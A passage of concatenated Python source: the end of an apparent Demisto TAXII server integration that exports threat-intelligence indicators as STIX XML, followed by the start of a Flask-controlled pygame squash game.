'type': SVC_COLLECTION_MANAGEMENT,
'path': 'taxii-collection-management-service'
},
{
'type': SVC_POLL,
'path': 'taxii-poll-service'
}
]
def get_discovery_service(self, taxii_message: DiscoveryRequest) -> DiscoveryResponse:
"""
Handle discovery request.
Args:
taxii_message: The discovery request message.
Returns:
The discovery response.
"""
if taxii_message.message_type != MSG_DISCOVERY_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
discovery_service_url = self.get_url()
discovery_response = DiscoveryResponse(
generate_message_id(),
taxii_message.message_id
)
for instance in self.service_instances:
instance_type = instance['type']
instance_path = instance['path']
taxii_service_instance = ServiceInstance(
instance_type,
'urn:taxii.mitre.org:services:1.1',
'urn:taxii.mitre.org:protocol:http:1.0',
f'{discovery_service_url}/{instance_path}',
['urn:taxii.mitre.org:message:xml:1.1'],
available=True
)
discovery_response.service_instances.append(taxii_service_instance)
return discovery_response
def get_collections(self, taxii_message: CollectionInformationRequest) -> CollectionInformationResponse:
"""
Handle collection management request.
Args:
taxii_message: The collection request message.
Returns:
The collection management response.
"""
taxii_feeds = list(self.collections.keys())
url = self.get_url()
if taxii_message.message_type != MSG_COLLECTION_INFORMATION_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
collection_info_response = CollectionInformationResponse(
generate_message_id(),
taxii_message.message_id
)
for feed in taxii_feeds:
collection_info = CollectionInformation(
feed,
f'{feed} Data Feed',
['urn:stix.mitre.org:xml:1.1.1'],
True
)
polling_instance = PollingServiceInstance(
'urn:taxii.mitre.org:protocol:http:1.0',
f'{url}/taxii-poll-service',
['urn:taxii.mitre.org:message:xml:1.1']
)
collection_info.polling_service_instances.append(polling_instance)
collection_info_response.collection_informations.append(collection_info)
return collection_info_response
def get_poll_response(self, taxii_message: PollRequest) -> Response:
"""
Handle poll request.
Args:
taxii_message: The poll request message.
Returns:
The poll response.
"""
if taxii_message.message_type != MSG_POLL_REQUEST:
raise ValueError('Invalid message, invalid Message Type')
taxii_feeds = list(self.collections.keys())
collection_name = taxii_message.collection_name
exclusive_begin_time = taxii_message.exclusive_begin_timestamp_label
inclusive_end_time = taxii_message.inclusive_end_timestamp_label
return self.stream_stix_data_feed(taxii_feeds, taxii_message.message_id, collection_name,
exclusive_begin_time, inclusive_end_time)
def stream_stix_data_feed(self, taxii_feeds: list, message_id: str, collection_name: str,
exclusive_begin_time: datetime, inclusive_end_time: datetime) -> Response:
"""
Get the indicator query results in STIX data feed format.
Args:
taxii_feeds: The available taxii feeds according to the collections.
message_id: The taxii message ID.
collection_name: The collection name to get the indicator query from.
exclusive_begin_time: The query exclusive begin time.
inclusive_end_time: The query inclusive end time.
Returns:
Stream of STIX indicator data feed.
"""
if collection_name not in taxii_feeds:
raise ValueError('Invalid message, unknown feed')
if not inclusive_end_time:
inclusive_end_time = datetime.utcnow().replace(tzinfo=pytz.utc)
def yield_response() -> Generator:
"""
Streams the STIX indicators as XML string.
"""
# yield the opening tag of the Poll Response
response = '<taxii_11:Poll_Response xmlns:taxii="http://taxii.mitre.org/messages/taxii_xml_binding-1"' \
' xmlns:taxii_11="http://taxii.mitre.org/messages/taxii_xml_binding-1.1" ' \
'xmlns:tdq="http://taxii.mitre.org/query/taxii_default_query-1"' \
f' message_id="{generate_message_id()}"' \
f' in_response_to="{message_id}"' \
f' collection_name="{collection_name}" more="false" result_part_number="1"> ' \
f'<taxii_11:Inclusive_End_Timestamp>{inclusive_end_time.isoformat()}' \
'</taxii_11:Inclusive_End_Timestamp>'
if exclusive_begin_time is not None:
response += (f'<taxii_11:Exclusive_Begin_Timestamp>{exclusive_begin_time.isoformat()}'
f'</taxii_11:Exclusive_Begin_Timestamp>')
yield response
# yield the content blocks
indicator_query = self.collections[str(collection_name)]
for indicator in find_indicators_by_time_frame(indicator_query, exclusive_begin_time, inclusive_end_time):
try:
stix_xml_indicator = get_stix_indicator(indicator).to_xml(ns_dict={NAMESPACE_URI: NAMESPACE})
content_block = ContentBlock(
content_binding=CB_STIX_XML_11,
content=stix_xml_indicator
)
content_xml = content_block.to_xml().decode('utf-8')
yield f'{content_xml}\n'
except Exception as e:
handle_long_running_error(f'Failed parsing indicator to STIX: {e}')
# yield the closing tag
yield '</taxii_11:Poll_Response>'
return Response(
response=stream_with_context(yield_response()),
status=200,
headers={
'X-TAXII-Content-Type': 'urn:taxii.mitre.org:message:xml:1.1',
'X-TAXII-Protocol': 'urn:taxii.mitre.org:protocol:http:1.0'
},
mimetype='application/xml'
)
def get_url(self):
"""
Returns:
The service URL according to the protocol.
"""
if self.http_server:
return f'{self.host}:{self.port}'
else:
return self.host
SERVER: TAXIIServer
DEMISTO_LOGGER: Handler = Handler()
''' STIX MAPPING '''
def create_stix_ip_observable(namespace: str, indicator: dict) -> List[Observable]:
"""
Create STIX IP observable.
Args:
namespace: The XML namespace .
indicator: The Demisto IP indicator.
Returns:
STIX IP observable.
"""
category = cybox.objects.address_object.Address.CAT_IPV4
type_ = indicator.get('indicator_type', '')
value = indicator.get('value', '')
if type_ in [FeedIndicatorType.IPv6, FeedIndicatorType.IPv6CIDR]:
category = cybox.objects.address_object.Address.CAT_IPV6
indicator_values = [value]
if '-' in value:
# looks like an IP Range, let's try to make it a CIDR
a1, a2 = value.split('-', 1)
if a1 == a2:
# same IP
indicator_values = [a1]
else:
# use netaddr builtin algo to summarize range into CIDR
iprange = netaddr.IPRange(a1, a2)
cidrs = iprange.cidrs()
indicator_values = list(map(str, cidrs))
observables = []
for indicator_value in indicator_values:
id_ = f'{namespace}:observable-{uuid.uuid4()}'
address_object = cybox.objects.address_object.Address(
address_value=indicator_value,
category=category
)
observable = Observable(
title=f'{type_}: {indicator_value}',
id_=id_,
item=address_object
)
observables.append(observable)
return observables
def create_stix_email_observable(namespace: str, indicator: dict) -> List[Observable]:
"""
Create STIX Email observable.
Args:
namespace: The XML namespace.
indicator: The Demisto Email indicator.
Returns:
STIX Email observable.
"""
category = cybox.objects.address_object.Address.CAT_EMAIL
type_ = indicator.get('indicator_type', '')
value = indicator.get('value', '')
id_ = f'{namespace}:observable-{uuid.uuid4()}'
email_object = cybox.objects.address_object.Address(
address_value=indicator.get('value', ''),
category=category
)
observable = Observable(
title=f'{type_}: {value}',
id_=id_,
item=email_object
)
return [observable]
def create_stix_domain_observable(namespace, indicator):
"""
Create STIX Domain observable.
Args:
namespace: The XML namespace.
indicator: The Demisto Domain indicator.
Returns:
STIX Domain observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
domain_object = cybox.objects.domain_name_object.DomainName()
domain_object.value = value
domain_object.type_ = 'FQDN'
observable = Observable(
title=f'FQDN: {value}',
id_=id_,
item=domain_object
)
return [observable]
def create_stix_url_observable(namespace, indicator):
"""
Create STIX URL observable.
Args:
namespace: The XML namespace.
indicator: The Demisto URL indicator.
Returns:
STIX URL observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
uri_object = cybox.objects.uri_object.URI(
value=value,
type_=cybox.objects.uri_object.URI.TYPE_URL
)
observable = Observable(
title=f'URL: {value}',
id_=id_,
item=uri_object
)
return [observable]
def create_stix_hash_observable(namespace, indicator):
"""
Create STIX file observable.
Args:
namespace: The XML namespace.
indicator: The Demisto File indicator.
Returns:
STIX File observable.
"""
id_ = f'{namespace}:observable-{uuid.uuid4()}'
value = indicator.get('value', '')
type_ = indicator.get('indicator_type', '')
file_object = cybox.objects.file_object.File()
file_object.add_hash(indicator)
observable = Observable(
title=f'{value}: {type_}',
id_=id_,
item=file_object
)
return [observable]
TYPE_MAPPING = {
FeedIndicatorType.IP: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.CIDR: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.IPv6: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.IPv6CIDR: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_IP_WATCHLIST,
'mapper': create_stix_ip_observable
},
FeedIndicatorType.URL: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_URL_WATCHLIST,
'mapper': create_stix_url_observable
},
FeedIndicatorType.Domain: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_DOMAIN_WATCHLIST,
'mapper': create_stix_domain_observable
},
FeedIndicatorType.SHA256: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_FILE_HASH_WATCHLIST,
'mapper': create_stix_hash_observable
},
FeedIndicatorType.SHA1: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_FILE_HASH_WATCHLIST,
'mapper': create_stix_hash_observable
},
FeedIndicatorType.MD5: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_FILE_HASH_WATCHLIST,
'mapper': create_stix_hash_observable
},
FeedIndicatorType.File: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_FILE_HASH_WATCHLIST,
'mapper': create_stix_hash_observable
},
FeedIndicatorType.Email: {
'indicator_type': stix.common.vocabs.IndicatorType.TERM_MALICIOUS_EMAIL,
'mapper': create_stix_email_observable
}
}
def set_id_namespace(uri: str, name: str):
"""
Set the XML namespace.
Args:
uri: The namespace URI.
name: The namespace name.
"""
namespace = mixbox.namespaces.Namespace(uri, name)
mixbox.idgen.set_id_namespace(namespace)
def get_stix_indicator(indicator: dict) -> stix.core.STIXPackage:
"""
Convert a Demisto indicator to STIX.
Args:
indicator: The Demisto indicator.
Returns:
The STIX indicator as XML string.
"""
set_id_namespace(NAMESPACE_URI, NAMESPACE)
type_ = indicator.get('indicator_type', '')
type_mapper: dict = TYPE_MAPPING.get(type_, {})
value = indicator.get('value', '')
source = indicator.get('sourceBrands', [])
sources = ','.join(source)
handling = None
# Add TLP if available
share_level = indicator.get('trafficlightprotocoltlp', '').upper()
if share_level and share_level in ['WHITE', 'GREEN', 'AMBER', 'RED']:
marking_specification = stix.data_marking.MarkingSpecification()
marking_specification.controlled_structure = "//node() | //@*"
tlp = stix.extensions.marking.tlp.TLPMarkingStructure()
tlp.color = share_level
marking_specification.marking_structures.append(tlp)
handling = stix.data_marking.Marking()
handling.add_marking(marking_specification)
header = None
if handling is not None:
header = stix.core.STIXHeader(
handling=handling
)
# Create the STIX package
package_id = f'{NAMESPACE}:observable-{uuid.uuid4()}'
stix_package = stix.core.STIXPackage(id_=package_id, stix_header=header)
# Get the STIX observables according to the indicator mapper
observables = type_mapper['mapper'](NAMESPACE, indicator)
# Create the STIX indicator
for observable in observables:
id_ = f'{NAMESPACE}:indicator-{uuid.uuid4()}'
if type_ == 'URL':
indicator_value = werkzeug.urls.iri_to_uri(value, safe_conversion=True)
else:
indicator_value = value
stix_indicator = stix.indicator.indicator.Indicator(
id_=id_,
title=f'{type_}: {indicator_value}',
description=f'{type_} indicator from {sources}',
timestamp=datetime.utcnow().replace(tzinfo=pytz.utc)
)
# Confidence is mapped by the indicator score
confidence = 'Low'
indicator_score = indicator.get('score')
if indicator_score is None:
demisto.error(f'indicator without score: {value}')
stix_indicator.confidence = "Unknown"
else:
score = int(indicator.get('score', 0))
if score < 2:
pass
elif score < 3:
confidence = 'Medium'
else:
confidence = 'High'
stix_indicator.confidence = confidence
stix_indicator.add_indicator_type(type_mapper['indicator_type'])
stix_indicator.add_observable(observable)
stix_package.add_indicator(stix_indicator)
return stix_package
''' HELPER FUNCTIONS '''
def get_calling_context():
return demisto.callingContext.get('context', {}) # type: ignore[attr-defined]
def get_https_hostname(host_name):
"""
Get the host name for the https endpoint.
Args:
host_name:
Returns:
The host name in the format of host/instance/execute/instance_name
"""
calling_context = get_calling_context()
instance_name = calling_context.get('IntegrationInstance', '')
host_name = os.path.join(host_name, 'instance', 'execute', instance_name)
return host_name
def handle_long_running_error(error: str):
"""
Handle errors in the long running process.
Args:
error: The error message.
"""
demisto.error(error)
demisto.updateModuleHealth(error)
def validate_credentials(f: Callable) -> Callable:
"""
Wrapper function of HTTP requests to validate authentication headers.
Args:
f: The wrapped function.
Returns:
The function result (if the authentication is valid).
"""
@functools.wraps(f)
def validate(*args, **kwargs):
headers = request.headers
if SERVER.auth:
credentials: str = headers.get('Authorization', '')
if not credentials or 'Basic ' not in credentials:
return make_response('Invalid authentication', 401)
encoded_credentials: str = credentials.split('Basic ')[1]
credentials: str = b64decode(encoded_credentials).decode('utf-8')
if ':' not in credentials:
return make_response('Invalid authentication', 401)
credentials_list = credentials.split(':')
if len(credentials_list) != 2:
return make_response('Invalid authentication', 401)
username, password = credentials_list
if not (username == SERVER.auth[0] and password == SERVER.auth[1]):
return make_response('Invalid authentication', 401)
return f(*args, **kwargs)
return validate
def taxii_check(f: Callable) -> Callable:
"""
Wrapper function of HTTP requests to validate taxii headers.
Args:
f: The wrapped function.
Returns:
The function result (if the headers are valid).
"""
@functools.wraps(f)
def check(*args, **kwargs):
taxii_content_type = request.headers.get('X-TAXII-Content-Type', None)
if taxii_content_type not in ['urn:taxii.mitre.org:message:xml:1.1', 'urn:taxii.mitre.org:message:xml:1.0']:
return make_response('Invalid TAXII Headers', 400)
taxii_content_type = request.headers.get('X-TAXII-Protocol', None)
if taxii_content_type not in ['urn:taxii.mitre.org:protocol:http:1.0',
'urn:taxii.mitre.org:protocol:https:1.0']:
return make_response('Invalid TAXII Headers', 400)
taxii_content_type = request.headers.get('X-TAXII-Services', None)
if taxii_content_type not in ['urn:taxii.mitre.org:services:1.1', 'urn:taxii.mitre.org:services:1.0']:
return make_response('Invalid TAXII Headers', 400)
return f(*args, **kwargs)
return check
def get_port(params: dict = demisto.params()) -> int:
"""
Gets port from the integration parameters.
"""
port_mapping: str = params.get('longRunningPort', '')
port: int
if port_mapping:
if ':' in port_mapping:
port = int(port_mapping.split(':')[1])
else:
port = int(port_mapping)
else:
raise ValueError('Please provide a Listen Port.')
return port
def get_collections(params: dict = demisto.params()) -> dict:
"""
Gets the indicator query collections from the integration parameters.
"""
collections_json: str = params.get('collections', '')
try:
collections = json.loads(collections_json)
except Exception:
raise ValueError('The collections string must be a valid JSON object.')
return collections
def find_indicators_by_time_frame(indicator_query: str, begin_time: datetime, end_time: datetime) -> list:
"""
Find indicators according to a query and begin time/end time.
Args:
indicator_query: The indicator query.
begin_time: The exclusive begin time.
end_time: The inclusive end time.
Returns:
Indicator query results from Demisto.
"""
if indicator_query:
indicator_query += ' and '
else:
indicator_query = ''
if begin_time:
tz_begin_time = datetime.strftime(begin_time, '%Y-%m-%dT%H:%M:%S %z')
indicator_query += f'sourcetimestamp:>"{tz_begin_time}"'
if end_time:
indicator_query += ' and '
if end_time:
tz_end_time = datetime.strftime(end_time, '%Y-%m-%dT%H:%M:%S %z')
indicator_query += f'sourcetimestamp:<="{tz_end_time}"'
demisto.info(f'Querying indicators by: {indicator_query}')
return find_indicators_loop(indicator_query)
def find_indicators_loop(indicator_query: str):
"""
Find indicators in a loop according to a query.
Args:
indicator_query: The indicator query.
Returns:
Indicator query results from Demisto.
"""
iocs: List[dict] = []
total_fetched = 0
next_page = 0
last_found_len = PAGE_SIZE
while last_found_len == PAGE_SIZE:
fetched_iocs = demisto.searchIndicators(query=indicator_query, page=next_page, size=PAGE_SIZE).get('iocs')
iocs.extend(fetched_iocs)
last_found_len = len(fetched_iocs)
total_fetched += last_found_len
next_page += 1
return iocs
def taxii_make_response(taxii_message: TAXIIMessage):
"""
Create an HTTP taxii response from a taxii message.
Args:
taxii_message: The taxii message.
Returns:
A taxii HTTP response.
"""
headers = {
'Content-Type': "application/xml",
'X-TAXII-Content-Type': 'urn:taxii.mitre.org:message:xml:1.1',
'X-TAXII-Protocol': 'urn:taxii.mitre.org:protocol:http:1.0'
}
response = make_response((taxii_message.to_xml(pretty_print=True), 200, headers))
return response
''' ROUTE FUNCTIONS '''
@APP.route('/taxii-discovery-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_discovery_service() -> Response:
"""
Route for discovery service.
"""
try:
discovery_response = SERVER.get_discovery_service(get_message_from_xml(request.data))
except Exception as e:
error = f'Could not perform the discovery request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return taxii_make_response(discovery_response)
@APP.route('/taxii-collection-management-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_collection_management_service() -> Response:
"""
Route for collection management.
"""
try:
collection_response = SERVER.get_collections(get_message_from_xml(request.data))
except Exception as e:
error = f'Could not perform the collection management request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return taxii_make_response(collection_response)
@APP.route('/taxii-poll-service', methods=['POST'])
@taxii_check
@validate_credentials
def taxii_poll_service() -> Response:
"""
Route for poll service.
"""
try:
taxiicontent_type = request.headers['X-TAXII-Content-Type']
if taxiicontent_type == 'urn:taxii.mitre.org:message:xml:1.1':
taxii_message = get_message_from_xml(request.data)
else:
raise ValueError('Invalid message')
except Exception as e:
error = f'Could not perform the polling request: {str(e)}'
handle_long_running_error(error)
return make_response(error, 400)
return SERVER.get_poll_response(taxii_message)
''' COMMAND FUNCTIONS '''
def test_module(taxii_server: TAXIIServer):
run_server(taxii_server, is_test=True)
return 'ok', {}, {}
def run_server(taxii_server: TAXIIServer, is_test=False):
"""
Start the taxii server.
"""
certificate_path = str()
private_key_path = str()
ssl_args = dict()
try:
if taxii_server.certificate and taxii_server.private_key and not taxii_server.http_server:
certificate_file = NamedTemporaryFile(delete=False)
certificate_path = certificate_file.name
certificate_file.write(bytes(taxii_server.certificate, 'utf-8'))
certificate_file.close()
private_key_file = NamedTemporaryFile(delete=False)
private_key_path = private_key_file.name
private_key_file.write(bytes(taxii_server.private_key, 'utf-8'))
private_key_file.close()
context = SSLContext(PROTOCOL_TLSv1_2)
context.load_cert_chain(certificate_path, private_key_path)
ssl_args['ssl_context'] = context
demisto.debug('Starting HTTPS Server')
else:
demisto.debug('Starting HTTP Server')
wsgi_server = WSGIServer(('', taxii_server.port), APP, **ssl_args, log=DEMISTO_LOGGER)
if is_test:
server_process = Process(target=wsgi_server.serve_forever)
server_process.start()
time.sleep(5)
server_process.terminate()
else:
wsgi_server.serve_forever()
except SSLError as e:
ssl_err_message = f'Failed to validate certificate and/or private key: {str(e)}'
handle_long_running_error(ssl_err_message)
raise ValueError(ssl_err_message)
except Exception as e:
handle_long_running_error(f'An error occurred: {str(e)}')
raise ValueError(str(e))
finally:
if certificate_path:
os.unlink(certificate_path)
if private_key_path:
os.unlink(private_key_path)
def main():
"""
Main
"""
params = demisto.params()
command = demisto.command()
port = get_port(params)
collections = get_collections(params)
server_links = demisto.demistoUrls()
server_link_parts: ParseResult = urlparse(server_links.get('server'))
certificate: str = params.get('certificate', '')
private_key: str = params.get('key', '')
credentials: dict = params.get('credentials', None)
http_server = True
if (certificate and not private_key) or (private_key and not certificate):
raise ValueError('When using HTTPS connection, both certificate and private key must be provided.')
elif certificate and private_key:
http_server = False
global SERVER
scheme = 'http'
host_name = server_link_parts.hostname
if not http_server:
scheme = 'https'
host_name = get_https_hostname(host_name)
SERVER = TAXIIServer(f'{scheme}://{host_name}', port, collections,
certificate, private_key, http_server, credentials)
demisto.debug(f'Command being called is {command}')
commands = {
'test-module': test_module
}
try:
if command == 'long-running-execution':
run_server(SERVER)
else:
readable_output, outputs, raw_response = commands[command](SERVER)
return_outputs(readable_output, outputs, raw_response)
except Exception as e:
err_msg = f'Error in {INTEGRATION_NAME} Integration [{e}]'
return_error(err_msg)
if __name__ in ['__main__', '__builtin__', 'builtins']:
main()
|
squash_server.py | #License MIT 2017 Ahmad Retha
import os
import pygame
import pygame.mixer
import threading
import queue
import json
import flask
import numpy as np
from PIL import Image
from io import BytesIO
import logging
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from glob import glob
import datetime
logging.getLogger('werkzeug').disabled = True
np.random.seed(datetime.datetime.now().microsecond)
rescale_trump = 160
d_trumps = glob("trump/*.png")
trump_heads = []
for d_trump in d_trumps:
trump_head = pygame.image.load(d_trump)
height = trump_head.get_height()
width = trump_head.get_width()
ratio = rescale_trump/height
trump_head = pygame.transform.scale(trump_head, (rescale_trump, int(ratio*width)))
trump_heads.append(trump_head)
n_trumps = len(trump_heads)
left_ctrl_q = queue.Queue(1)
right_ctrl_q = queue.Queue(1)
billboard_q = queue.Queue(5)
app = flask.Flask(__name__)
limiter = Limiter(app, key_func=get_remote_address)
frame = None
frame_mutex = threading.Lock()
server_url = '127.0.0.1'
remote_mode = True
left_player = dict()
left_player['ip'] = ''
left_player['name'] = ''
left_player['code'] = ''
left_player['score'] = 0
right_player = left_player.copy()
player_mutex = threading.Lock()
ctrl_limit = "20/second"
@app.route('/get_frame', methods=['GET'])
@limiter.limit(ctrl_limit)
def get_frame():
# convert numpy array to PIL Image
with frame_mutex:
img = Image.fromarray(frame.astype('uint8'))
# create file-object in memory
file_object = BytesIO()
# write PNG in file-object
img.save(file_object, 'PNG')
# move to beginning of file so `send_file()` it will read from start
file_object.seek(0)
return flask.send_file(file_object, mimetype='image/PNG')
@app.route('/ctrl', methods=['PUT'])
@limiter.limit(ctrl_limit)
def get_ctrl():
client_data = json.loads(flask.request.data)
#player_ip = flask.request.remote_addr
resp = dict()
resp['status'] = ""
try:
if left_player['code'] == client_data['code']:
left_ctrl_q.put_nowait(client_data)
resp['status'] = "OK"
elif right_player['code'] == client_data['code']:
right_ctrl_q.put_nowait(client_data)
resp['status'] = "OK"
else:
resp['status'] = "Not logged inn"
except queue.Full:
resp['status'] = "Too fast!"
return flask.jsonify(resp)
@app.route('/loginn', methods=['PUT'])
@limiter.limit("1/second")
def log_inn():
client_data = json.loads(flask.request.data)
#print(flask.request.remote_addr)
resp = dict()
resp['status'] = "full"
with player_mutex:
if left_player['code'] == '':
left_player['code'] = client_data['code']
left_player['name'] = client_data['name']
resp['status'] = "left"
print(client_data['name'], "({}) joined left side!".format(flask.request.remote_addr))
elif right_player['code'] == '':
right_player['code'] = client_data['code']
right_player['name'] = client_data['name']
resp['status'] = "right"
print(client_data['name'], "({}) joined left side!".format(flask.request.remote_addr))
if resp['status'] != "full":
try:
billboard_q.put_nowait("{} joined!".format(client_data['name']))
except queue.Full:
pass
return flask.jsonify(resp)
@app.route('/logout', methods=['PUT'])
@limiter.limit("1/second")
def log_out():
client_data = json.loads(flask.request.data)
resp = dict()
resp['status'] = "Not logged inn"
with player_mutex:
if left_player['code'] == client_data['code']:
print(left_player['name'], "({}) left the game".format(flask.request.remote_addr))
left_player['code'] = ''
left_player['name'] = ''
resp['status'] = "OK"
elif right_player['code'] == client_data['code']:
print(right_player['name'], "({}) left the game".format(flask.request.remote_addr))
right_player['code'] = ''
right_player['name'] = ''
resp['status'] = "OK"
print("Left: {}, Right {}".format(left_player['score'], right_player['score']))
left_player['score'] = 0
right_player['score'] = 0
if resp['status'] != "Not logged inn":
try:
billboard_q.put_nowait("{} left!".format(client_data['name']))
except queue.Full:
pass
return flask.jsonify(resp)
threading.Thread(target=lambda: app.run(host=server_url, port=6010, threaded=True), daemon=True).start()
##
# Game mode
#
WIDTH = 480
HEIGHT = 640
os.environ['SDL_VIDEO_WINDOW_POS'] = "%d,%d" % (WIDTH, 25)
screen = pygame.display.set_mode((WIDTH, HEIGHT))
pygame.display.set_caption('Squash')
clock = pygame.time.Clock()
pygame.key.set_repeat(50, 50)
pygame.mixer.pre_init(44100, -16, 2, 2048)
pygame.mixer.init()
pygame.init()
##
# Game consts
#
FONT = pygame.font.Font(None, 40)
BLACK = (0, 0, 0)
WHITE = (255, 255, 255)
RED = (255, 0, 0)
GREEN = (0, 255, 0)
BLUE = (0, 0, 255)
GRAY = (100, 100, 100)
MODE_PLAY = 1
MODE_QUIT = 0
FRAME_RATE = 120
##
# Game Sounds and delay for losing
#
LOSE_DELAY = 2000
LOSE_SOUND = pygame.mixer.Sound('beep-2.wav')
FAIL_SOUND = pygame.mixer.Sound('beep-3.wav')
LEFT_SOUND = pygame.mixer.Sound('beep-7.wav')
RIGHT_SOUND = pygame.mixer.Sound('beep-8.wav')
##
# Game Vars
#
PADDLE_TAU = 0.15
BUDGE = 12
BALL_INIT_SPEED = 2
BALL_INIT_ANGLE = 30
BALL_BOUNCE_DECAY = 0.15
BALL_DECAY_RATE = 0.08/FRAME_RATE
BALL_RANDOM_BOUNCE = 5
BALL_PADLE_MAX_BOUNCE = 25
BALL_RADIUS = 4
MAX_PADDLE_POWER = 1.0001
PADDLE_SPEED = BALL_INIT_SPEED*0.8
PADDLE_SIZE = 70
PADDLE_THICKNESS = 12
PROB_TRUMP = 0.2 # A 20% chance for a Trump visit every 10 seconds
LEFT_PLAYER = True
RIGHT_PLAYER = False
muted = False
playerTurn = RIGHT_PLAYER
current_mode = MODE_PLAY
BILLBOARD_TEXT_VISIBLE = FRAME_RATE*1.5
def rotation_matrix(theta):
theta *= np.pi/180
matrix = np.array([
[np.cos(theta), -np.sin(theta)],
[np.sin(theta), np.cos(theta)]
])
return matrix
ball_angle = BALL_INIT_ANGLE
ball_vector = rotation_matrix(ball_angle) @ np.array([0, -BALL_INIT_SPEED*1.5])
def is_toright(main_rect, sec_rect):
x1 = main_rect[0]
y1 = main_rect[1]
x2 = main_rect[0] + PADDLE_SIZE/2
y2 = main_rect[1] - PADDLE_THICKNESS/2
y = (y2 - y1)/(x2 - x1)*(sec_rect[0] - x1) + y1
if abs(y) < sec_rect[1]:
return True
else:
return False
def is_toleft(main_rect, sec_rect):
x1 = main_rect[0]
y1 = main_rect[1]
x2 = main_rect[0] - PADDLE_SIZE/2
y2 = main_rect[1] - PADDLE_THICKNESS/2
y = (y2 - y1)/(x2 - x1)*(sec_rect[0] - x1) + y1
if abs(y) < sec_rect[1]:
return True
else:
return False
def is_above(main_rect, sec_rect):
x1 = main_rect[1]
y1 = main_rect[0]
x2 = main_rect[1] + PADDLE_THICKNESS/2
y2 = main_rect[0] - PADDLE_SIZE/2
y = (y2 - y1)/(x2 - x1)*(sec_rect[1] - x1) + y1
if abs(y) > sec_rect[0]:
return True
else:
return False
def is_under(main_rect, sec_rect):
x1 = main_rect[1]
y1 = main_rect[0]
x2 = main_rect[1] - PADDLE_THICKNESS/2
y2 = main_rect[0] - PADDLE_SIZE/2
y = (y2 - y1)/(x2 - x1)*(sec_rect[1] - x1) + y1
if abs(y) > sec_rect[0]:
return True
else:
return False
##
# Game Objects
#
class Paddle(pygame.sprite.Sprite):
def __init__(self, color, width, height, maxX, maxY, x, y):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface([width, height])
self.image.fill(color)
self.rect = self.image.get_rect()
self.rect.x = x
self.rect.y = y
self.color = color
self.width = width
self.height = height
self.maxX = maxX
self.maxY = maxY
self.x = x
self.y = y
self.prev_x = x
self.prev_y = y
self.inp_x = x
self.inp_y = y
self.y_velocity = 0
def set_xy(self, x, y):
self.x = self.prev_x = self.inp_x = x
self.y = self.prev_y = self.inp_y = y
def move(self, moveX, moveY):
self.inp_x = self.inp_x + moveX
self.inp_y = self.inp_y + moveY
def change_width(self, paddle_width):
self.width = paddle_width
self.image = pygame.Surface([self.width, self.height])
self.image.fill(self.color)
self.rect = self.image.get_rect()
self.rect.x = self.x
self.rect.y = self.y
self.maxX = WIDTH - paddle_width
def update(self):
if self.inp_y < self.maxY/2:
self.inp_y = self.maxY/2
elif self.inp_y > self.maxY:
self.inp_y = self.maxY
if self.inp_x < 0:
self.inp_x = 0
elif self.inp_x > self.maxX:
self.inp_x = self.maxX
f_x = self.prev_x + (1/FRAME_RATE)/PADDLE_TAU * (self.inp_x - self.prev_x)
f_y = self.prev_y + (1/FRAME_RATE)/PADDLE_TAU * (self.inp_y - self.prev_y)
self.y_velocity = self.prev_y - f_y
self.prev_x = f_x
self.prev_y = f_y
self.x = f_x
self.y = f_y
self.rect.topleft = [int(f_x), int(f_y)]
class Ball(pygame.sprite.Sprite):
def __init__(self, color, x, y, radius):
pygame.sprite.Sprite.__init__(self)
self.image = pygame.Surface([2*radius, 2*radius])
self.image.set_alpha(0)
self.rect = self.image.get_rect()
self.rect.x = x
self.rect.y = y
self.color = color
self.radius = radius
self.x = x
self.y = y
def update(self):
self.rect.topleft = [self.x, self.y]
self.draw(screen)
def draw(self, surface):
pygame.draw.circle(surface, self.color, [int(self.x), int(self.y)], int(self.radius))
leftPaddle = Paddle(GREEN, PADDLE_SIZE, PADDLE_THICKNESS, WIDTH - PADDLE_SIZE, HEIGHT - PADDLE_THICKNESS, WIDTH/4 - PADDLE_SIZE/2, HEIGHT/4 * 3 - PADDLE_THICKNESS)
rightPaddle = Paddle(BLUE, PADDLE_SIZE, PADDLE_THICKNESS, WIDTH - PADDLE_SIZE, HEIGHT - PADDLE_THICKNESS, WIDTH/4 * 3 - PADDLE_SIZE/2, HEIGHT - PADDLE_THICKNESS)
ball = Ball(BLACK, WIDTH/4 - BALL_RADIUS, HEIGHT/4 * 3 - PADDLE_THICKNESS - 2 * BALL_RADIUS, BALL_RADIUS)
spriteGroup = pygame.sprite.Group()
spriteGroup.add(leftPaddle)
spriteGroup.add(rightPaddle)
spriteGroup.add(ball)
##
# Action on player score
#
paddle_size = PADDLE_SIZE
ball_velocity = BALL_INIT_SPEED
def reset_game(playerTurn):
global ball_vector, ball_angle, leftPaddle, rightPaddle, ball_velocity
if playerTurn == LEFT_PLAYER:
left_x = WIDTH/4 - paddle_size/2
left_y = HEIGHT - PADDLE_THICKNESS
right_x = WIDTH/4 * 3 - paddle_size/2
right_y = HEIGHT/4 * 3 - PADDLE_THICKNESS
ball.x = WIDTH/4 * 3
else:
left_x = WIDTH/4 - paddle_size/2
left_y = HEIGHT/4 * 3 - PADDLE_THICKNESS
right_x = WIDTH/4 * 3 - paddle_size/2
